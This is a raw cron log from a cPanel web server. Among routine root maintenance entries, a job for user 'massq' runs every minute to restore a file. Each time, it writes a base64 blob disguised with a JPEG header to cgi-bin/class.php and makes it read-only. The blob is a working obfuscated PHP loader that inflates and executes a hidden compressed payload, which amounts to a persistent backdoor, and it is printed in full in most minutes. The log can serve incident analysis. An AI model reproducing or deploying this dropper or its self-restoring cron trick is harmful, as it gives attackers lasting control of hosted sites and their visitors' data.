Sep  4 07:15:01 server CROND[14981]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 07:15:01 server CROND[14984]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 07:15:01 server CROND[14985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:15:01 server CROND[14983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:15:01 server CROND[14986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:16:01 server CROND[15944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:16:01 server CROND[15945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:16:01 server CROND[15946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:17:01 server CROND[16375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:17:01 server CROND[16376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:17:01 server CROND[16377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:18:01 server CROND[16764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:18:01 server CROND[16765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:18:01 server CROND[16767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:19:01 server CROND[17151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:19:01 server CROND[17152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:19:01 server CROND[17153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:20:02 server CROND[17600]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:20:02 server CROND[17602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:20:02 server CROND[17605]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 07:20:02 server CROND[17607]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 07:20:02 server CROND[17606]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 07:20:02 server CROND[17608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:20:02 server CROND[17604]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 07:20:02 server CROND[17610]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:20:02 server CROND[17609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:21:01 server CROND[18483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:21:01 server CROND[18484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:21:01 server CROND[18485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:22:01 server CROND[18931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:22:01 server CROND[18932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:22:01 server CROND[18934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:23:01 server CROND[19357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:23:01 server CROND[19358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:23:01 server CROND[19359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:24:01 server CROND[19742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:24:01 server CROND[19743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:24:01 server CROND[19744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:25:01 server CROND[20124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:25:01 server CROND[20128]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 07:25:01 server CROND[20127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:25:01 server CROND[20126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:25:01 server CROND[20129]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 07:25:01 server CROND[20131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:25:01 server CROND[20130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:26:01 server CROND[20976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:26:01 server CROND[20977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:26:01 server CROND[20978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:27:01 server CROND[21380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
